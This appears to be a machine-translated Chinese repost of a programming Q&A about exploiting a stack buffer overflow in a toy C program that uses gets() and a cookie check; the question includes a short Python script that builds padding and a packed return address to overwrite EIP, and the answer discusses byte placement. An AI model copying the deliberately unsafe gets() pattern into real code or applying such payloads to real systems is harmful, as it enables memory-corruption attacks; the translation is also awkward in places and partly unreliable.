如何解决BoF返回地址覆盖问题,带有\ x0A和\ x00
我在C语言中有代码:
#include <stdio.h>
int main() {
int cookie;
char buf[16];
printf("&buf: %p,&cookie: %p\n",buf,&cookie);
gets(buf);
if (cookie == 0x000D0A00)
printf("You win!\n");
}
file: ELF-32bit-i386
不能通过覆盖Cookie变量来利用BoF(由于包含 \ x0A 字符的 0x000D0A00 )。因此,我确实覆盖了寄信人地址( $ eip ),但出错了。这是我使用GDB编译的ASM代码和我用来开发的python代码。
import struct
cookie = 'A'*4
buf = 'B'*16
ebp = 'C'*4
eip = struct.pack("I",0x00001209)
print cookie+buf+ebp+eip
如何将EIP重写为0x00001209(即忽略条件分支并重写作为printf函数地址的返回地址)?
解决方法
该测试不太可能在Windows系统上成功,因为它要求用户在CRLF序列之前输入一个空字节。您应该写:
if (cookie == 0x0A0D)
如果编译器在堆栈中的cookie
之后分配buf
,可以通过printf
调用进行验证,请输入16个字节的字符串并按Enter键,这16个字节将进入buf
,接下来的2个字节将进入cookie
的2个低字节。这些字节是0x0D
和0x0A
,CR和LF的代码,遗留系统使用的行终止符。
但是请注意,cookie
应该初始化为0
,因此cookie
的高字节为0
,并且程序也必须在禁用优化的情况下进行编译。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。